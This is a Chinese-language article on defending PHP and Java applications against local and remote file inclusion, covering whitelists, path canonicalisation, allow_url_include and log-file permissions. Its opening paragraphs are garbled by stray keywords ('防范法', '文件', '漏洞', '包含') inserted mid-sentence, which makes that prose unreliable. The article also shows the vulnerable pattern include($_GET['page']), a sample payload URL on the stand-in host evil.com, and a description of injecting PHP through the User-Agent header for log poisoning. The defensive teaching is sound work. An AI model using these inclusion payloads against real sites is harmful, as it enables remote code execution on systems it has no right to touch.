一个攻击者把恶意代码写进日志文件，防范法再通过文件包含功能去执行它——这种攻击在现实里远比想象中常见。文件去年某知名CMS爆出的包含RCE漏洞，根源就是漏洞开发者没过滤用户输入，直接拼进了文件包含参数。防范法

文件包含漏洞的文件核心在于“用户能控制包含路径”。防范思路其实不复杂，包含但执行起来总有人偷懒。漏洞最直接的防范法办法是使用白名单。比如后台需要加载模板，文件就硬编码允许的包含文件名列表，用户传什么参数都只跟白名单比对，漏洞不在名单里直接拒绝。防范法这招能封死绝大多数利用路径穿越或伪协议的文件攻击。

但白名单不是包含万能的。有些场景确实需要动态包含，比如插件系统要加载不同模块。这时候就得靠路径校验了。别只检查“../”字符串，那太天真了。攻击者会用URL编码、双重编码甚至Unicode混淆绕过。正确做法是把用户输入规范化——先解码，再解析成绝对路径，最后确认解析结果位于允许的目录内。PHP里用realpath()，Java里用getCanonicalPath()，都是干这个的。

还有个容易被忽略的点：远程文件包含比本地文件包含危险得多。如果代码里用了include($_GET['page'])，攻击者直接传个http://evil.com/shell.txt就能执行任意代码。所以要么在php.ini里把allow_url_include设为Off，要么在代码层面强制校验协议只允许本地文件。顺带说一句，现在主流框架都默认禁止远程包含，但老项目里这种写法还经常见到。

日志文件包含这种冷门攻击路径，往往被人忽视。攻击者先往User-Agent里塞PHP代码，等日志记录下来，再通过文件包含把日志文件当PHP执行。对付这种，除了上面说的白名单和路径校验，还得注意日志文件权限和存储位置，别让Web进程能读能写。另外，对写入日志的内容做过滤也很有必要，特殊字符直接转义掉。

再往深一层说，代码审计时有个经验：凡是出现include、require、file_get_contents这类函数，且参数里含有变量，就得警惕。动态包含本身是合法的编程手段，问题在于变量来源是否可信。如果变量来自$_GET、$_POST、$_COOKIE，或者来自数据库但数据库可能被注入污染，那风险就很高了。

实际加固时，还可以用WAF规则拦截包含路径中的特殊字符。但WAF只是辅助，别指望它能挡住所有变种。真正靠谱的是开发阶段就建立安全规范：所有文件包含操作集中封装到一个函数里，统一做校验和过滤，禁止在业务代码里裸写include。

最后提个实践细节：很多框架支持“模板继承”或“组件加载”，底层实现就是文件包含。用这些框架时，务必确认框架版本已修复已知的包含漏洞。2023年某个流行PHP框架就曝出过模板引擎的文件包含绕过，影响面不小。升级框架往往比改业务代码更省事，但前提是你得知道框架做了什么防护。

(责任编辑：休闲)